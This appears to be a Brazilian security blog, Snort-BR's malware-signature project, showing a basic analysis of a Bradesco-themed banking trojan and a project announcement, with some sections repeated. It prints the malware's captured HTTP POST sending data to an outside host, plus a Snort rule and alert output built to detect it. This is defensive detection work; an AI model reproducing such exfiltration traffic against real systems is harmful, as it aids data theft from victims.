2E 30 2E 30 34 35 30 36 2E 36 34 38 3B 20 2E 4E .0.04506.648; .N
45 54 20 43 4C 52 20 33 2E 35 2E 32 31 30 32 32 ET CLR 3.5.21022
29 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A )..Content-Type:
20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 77 application/x-w
77 77 2D 66 6F 72 6D 2D 75 72 6C 65 6E 63 6F 64 ww-form-urlencod
65 64 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 ed..Connection:
6B 65 65 70 2D 61 6C 69 76 65 0D 0A 0D 0A 54 3D keep-alive....T=
43 26 44 41 44 4F 53 3D 50 57 44 26 4E 4F 4D 45 C&DADOS=PWD&NOME
3D 70 63 32 =pc2
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Output performance (basic match using rule2alert) - in future
Após isso podemos aguardar comentários e sugestões e depois adicionar ao malwares-br.rules .
O que acham ? O que podemos adicionar ?
Happy Snorting!
Estou postando aqui uma análise BEM básica mas acredito que seja um rascunho que podemos certamente melhorar .
File: Bradesco3.exe
Imagem Phishing: Quando recebe por email colocamos um screenshot aqui
Online Analysis:
http://anubis.iseclab.org/?action=result&task_id=1f292cd7c26bd99f4e1d6d24fb47ecf8a
http://www.virustotal.com/analisis/abc8be44fddf6e2b22e760b5ea695182f8e4b9080201f47f7227be018b27f8be-1279631400
Part of TCP Traffic that rules were based
POST /banner_inc.php HTTP/1.1
Content-Length: 22
Host: www.shanhaiichiba.com
Accept: */*
Keep-Alive: 300
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
T=C&DADOS=PWD&NOME=pc2HTTP/1.1 200 OK
Date: Tue, 20 Jul 2010 13:02:02 GMT
Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 mod_perl/2.0.4 Perl/v5.8.8
X-Powered-By: PHP/5.2.13
Content-Length: 0
Keep-Alive: timeout=30, max=100
Connection: Keep-Alive
Content-Type: text/html
Snort Rule
# Rule Created 20/07/2010
# Bradesco Plugin
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Bradesco Malware Communication Detected (plugin.exe)"; flow:established; uricontent:"&DADOS=";http_client_body;content:"&NOME=";http_client_body; sid:100000000;rev:1; )
Simulation
07/20-10:02:03.221920 [**] [1:100000000:1] Bradesco Malware Communication Detected (plugin.exe) [**] [Priority: 0] {TCP} 192.168.0.2:1038 -> 74.81.93.227:80
07/20-10:02:03.221920 52:54:0:12:34:56 -> 92:27:FC:57:72:BB type:0x800 len:0x18A
192.168.0.2:1038 -> 74.81.93.227:80 TCP TTL:128 TOS:0x0 ID:1802 IpLen:20 DgmLen:380 DF
***AP*** Seq: 0xBA9DCDE7 Ack: 0xA208E838 Win: 0x4470 TcpLen: 20
50 4F 53 54 20 2F 62 61 6E 6E 65 72 5F 69 6E 63 POST /banner_inc
2E 70 68 70 20 48 54 54 50 2F 31 2E 31 0D 0A 43 .php HTTP/1.1..C
6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 32 ontent-Length: 2
32 0D 0A 48 6F 73 74 3A 20 77 77 77 2E 73 68 61 2..Host: www.sha
6E 68 61 69 69 63 68 69 62 61 2E 63 6F 6D 0D 0A nhaiichiba.com..
41 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A 4B 65 65 Accept: */*..Kee
70 2D 41 6C 69 76 65 3A 20 33 30 30 0D 0A 55 73 p-Alive: 300..Us
65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C er-Agent: Mozill
61 2F 34 2E 30 20 28 63 6F 6D 70 61 74 69 62 6C a/4.0 (compatibl
65 3B 20 4D 53 49 45 20 36 2E 30 3B 20 57 69 6E e; MSIE 6.0; Win
64 6F 77 73 20 4E 54 20 35 2E 31 3B 20 53 56 31 dows NT 5.1; SV1
3B 20 2E 4E 45 54 20 43 4C 52 20 32 2E 30 2E 35 ; .NET CLR 2.0.5
30 37 32 37 3B 20 2E 4E 45 54 20 43 4C 52 20 33 0727; .NET CLR 3
2E 30 2E 30 34 35 30 36 2E 36 34 38 3B 20 2E 4E .0.04506.648; .N
45 54 20 43 4C 52 20 33 2E 35 2E 32 31 30 32 32 ET CLR 3.5.21022
29 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A )..Content-Type:
20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 77 application/x-w
77 77 2D 66 6F 72 6D 2D 75 72 6C 65 6E 63 6F 64 ww-form-urlencod
65 64 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 ed..Connection:
6B 65 65 70 2D 61 6C 69 76 65 0D 0A 0D 0A 54 3D keep-alive....T=
43 26 44 41 44 4F 53 3D 50 57 44 26 4E 4F 4D 45 C&DADOS=PWD&NOME
3D 70 63 32 =pc2
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Output performance (basic match using rule2alert) - in future
Após isso podemos aguardar comentários e sugestões e depois adicionar ao malwares-br.rules .
O que acham ? O que podemos adicionar ?
Happy Snorting!
domingo, 26 de setembro de 2010
Projeto Malwares-BR - Início
O projeto malwares-br é uma idéia para criação de assinaturas para projetos opensources (especialmente regras do Snort e num futuro Clamav. Talvez correlacionamento/regras pro OSSEC quando possivel) para uso em especial de empresas nacionais contras as ameaças "Made In Brazil".
O foco inicial será baseado em poucos samples que colhemos durante a semana de onde faremos a análise básica , com uma pequena explicação e assinaturas para Snort inicialmente. Dependendo da demanda e ajuda durante o passar do tempo também faremos algo para o Clamav visto que isso será de grande valia para eles também . Outra possibilidade é o projeto entrar como parte do ruleset do Emerging-Threats mas para isso temos que criar uma boa demanda de regras e mostrar que a comunidade nacional esta empenhada .
Inicialmente o que mais precisamos é de amostras ou seja, se você receber algo de alguma empresa nacional por favor nos encaminhe o link ou email pois certamente retribuiremos com as assinaturas. No geral existem diversas formas de participar e algumas posto abaixo:
As regras será armazenadas no http://www.snort.org.br e juntamente com a regras publicaremos um pcap caso possível deixando assim mais facil caso alguém queira colaborar.
Sugestões, críticas fiquem a vontade para nos contactar.
Happy Snorting!
Equipe Snort-BR
O foco inicial será baseado em poucos samples que colhemos durante a semana de onde faremos a análise básica , com uma pequena explicação e assinaturas para Snort inicialmente. Dependendo da demanda e ajuda durante o passar do tempo também faremos algo para o Clamav visto que isso será de grande valia para eles também . Outra possibilidade é o projeto entrar como parte do ruleset do Emerging-Threats mas para isso temos que criar uma boa demanda de regras e mostrar que a comunidade nacional esta empenhada .
Inicialmente o que mais precisamos é de amostras ou seja, se você receber algo de alguma empresa nacional por favor nos encaminhe o link ou email pois certamente retribuiremos com as assinaturas. No geral existem diversas formas de participar e algumas posto abaixo:
- Envio de link de malwares
- Criação de regras baseado em pcap de sandboxes
- Testes das regras usando em seus ambientes
- Tunning de regras feita por outros
As regras será armazenadas no http://www.snort.org.br e juntamente com a regras publicaremos um pcap caso possível deixando assim mais facil caso alguém queira colaborar.
Sugestões, críticas fiquem a vontade para nos contactar.
Happy Snorting!
Equipe Snort-BR
Assinar:
Postagens (Atom)